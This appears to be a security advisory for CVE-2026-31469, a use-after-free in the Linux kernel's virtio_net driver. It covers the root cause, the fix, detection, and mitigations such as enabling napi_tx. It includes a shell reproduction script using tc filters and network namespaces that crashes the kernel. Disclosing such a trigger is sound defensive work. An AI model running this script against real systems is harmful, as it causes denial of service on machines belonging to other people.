CVE-2026-31469: Linux Kernel Use-After-Free Vulnerability

CVE-2026-31469 Overview

A Use-After-Free (UAF) vulnerability has been identified in the Linux kernel's virtio_net driver. The vulnerability occurs when the driver is configured with napi_tx=N and the device's IFF_XMIT_DST_RELEASE flag is cleared, such as during configuration of tc route filter rules. This memory safety issue can lead to kernel paging request errors and potential system instability.

When IFF_XMIT_DST_RELEASE is removed from the net_device, the network stack expects the driver to hold the reference to skb->dst until the packet is fully transmitted and freed. In virtio_net with napi_tx=N, socket buffers (skbs) may remain in the virtio transmit ring for an extended period. If the network namespace is destroyed while these skbs are still pending, the corresponding dst_ops structure is freed, leading to a UAF condition when subsequent packets trigger cleanup operations.

Critical Impact

Successful exploitation can cause kernel crashes through invalid memory access, potentially leading to denial of service or system instability in virtualized environments using virtio_net.

Affected Products

• Linux kernel with virtio_net driver
• Systems using virtio network devices with napi_tx=N configuration
• Network namespaces with tc route filter rules configured

Discovery Timeline

• 2026-04-22 - CVE CVE-2026-31469 published to NVD
• 2026-04-23 - Last updated in NVD database

Technical Details for CVE-2026-31469

Vulnerability Analysis

The vulnerability exists in the start_xmit function within drivers/net/virtio_net.c. When packets are transmitted through the virtio_net driver with napi_tx=N, the driver does not immediately free transmitted packets. Instead, they remain queued in the virtio transmit ring until later cleanup occurs via free_old_xmit().

The core issue arises from a reference counting problem with the dst_entry structure. When IFF_XMIT_DST_RELEASE is cleared (typically by tc filter configuration), the network stack passes ownership of the skb->dst reference to the driver. However, virtio_net fails to properly handle this reference before queueing the skb. If the associated network namespace is destroyed while skbs are still pending in the ring, the dst_ops structure referenced by these skbs becomes invalid.

The call trace reveals the crash path: when free_old_xmit() eventually processes these stale skbs, dst_release() is called on the now-invalid dst_entry, triggering a kernel paging request at a freed memory address.

Root Cause

The root cause is the virtio_net driver's failure to explicitly release the dst reference before queueing skbs when operating in non-NAPI TX mode. The fix adds skb_dst_drop(skb) in the start_xmit function to properly release the dst reference before the skb is queued in virtio_net's transmit ring. This ensures that the driver does not hold stale references to dst_ops structures that may be freed during network namespace destruction.

Attack Vector

The vulnerability can be triggered through a specific sequence of operations involving network namespace manipulation and traffic control configuration. The attack scenario involves:

1. Configuring tc qdisc and route filter rules on a virtio_net interface, which clears IFF_XMIT_DST_RELEASE
2. Moving the interface to a new network namespace
3. Generating network traffic (such as ICMP ping packets)
4. Deleting the network namespace while packets are still queued
5. Triggering subsequent transmissions that cause cleanup of old skbs

The reproduction script provided in the CVE description demonstrates this sequence:

# Reproduction sequence for CVE-2026-31469
NETDEV="enp3s0"

# Configure tc qdisc and route filter (clears IFF_XMIT_DST_RELEASE)
tc qdisc del dev $NETDEV root
tc qdisc add dev $NETDEV root handle 1: prio
tc filter add dev $NETDEV parent 1:0 \
    protocol ip prio 100 route to 100 flowid 1:1
ip route add 192.168.1.100/32 dev $NETDEV realm 100

# Create namespace, generate traffic, and destroy namespace
ip netns add testns
ip link set $NETDEV netns testns
ip netns exec testns ifconfig $NETDEV 10.0.32.46/24
ip netns exec testns ping -c 1 10.0.32.1
ip netns del testns

sleep 2

# Second iteration triggers UAF during free_old_xmit
ip netns add testns
ip link set $NETDEV netns testns
ip netns exec testns ifconfig $NETDEV 10.0.32.46/24
ip netns exec testns ping -c 1 10.0.32.1
ip netns del testns

Detection Methods for CVE-2026-31469

Indicators of Compromise

• Kernel panic or oops messages referencing dst_release, free_old_xmit, or start_xmit in virtio_net driver
• Invalid kernel paging requests at addresses in the ffff8000 range during network operations
• System crashes or instability when destroying network namespaces that contain virtio_net interfaces
• Kernel log entries showing UAF detection by KASAN (Kernel Address Sanitizer) in dst_ops related code

Detection Strategies

• Deploy KASAN-enabled kernels in test environments to detect memory safety violations early
• Monitor kernel logs for crash signatures containing virtio_net and dst_release call traces
• Implement runtime monitoring for network namespace creation/deletion events on systems with virtio_net
• Use kernel live patching frameworks to detect and alert on vulnerable kernel versions

Monitoring Recommendations

• Enable kernel crash dump collection (kdump) to capture detailed crash information for analysis
• Configure alerting on kernel oops messages containing virtio_net driver references
• Monitor systems running VMs or containers with virtio network backends for unexpected crashes
• Implement automated kernel version auditing to track unpatched systems

How to Mitigate CVE-2026-31469

Immediate Actions Required

• Apply the upstream kernel patches to affected systems as soon as possible
• Avoid using tc route filter rules on virtio_net interfaces until patched
• Minimize network namespace operations on systems with virtio_net and napi_tx=N configuration
• Consider temporarily enabling NAPI TX mode (napi_tx=Y) if operationally feasible as a workaround

Patch Information

The Linux kernel maintainers have released patches to address this vulnerability. The fix adds skb_dst_drop(skb) in the start_xmit function to explicitly release the dst reference before the skb is queued. Multiple stable kernel branches have been updated with the fix:

• Kernel.org Patch 63d4507
• Kernel.org Patch 8a47908
• Kernel.org Patch 9a18629
• Kernel.org Patch ba8bda9
• Kernel.org Patch be0e63f
• Kernel.org Patch c1ec36c
• Kernel.org Patch f04733c
• Kernel.org Patch fedd2e1

Workarounds

• Avoid configuring tc route filter rules on virtio_net interfaces in production until patched
• Disable network namespace usage for affected interfaces where operationally possible
• Use alternative network drivers if available in your virtualization environment
• Enable napi_tx=Y module parameter for virtio_net to avoid the vulnerable code path

# Enable NAPI TX mode as a workaround
# Add to kernel command line or modprobe configuration
modprobe virtio_net napi_tx=1

# Or add to /etc/modprobe.d/virtio_net.conf
echo "options virtio_net napi_tx=1" > /etc/modprobe.d/virtio_net.conf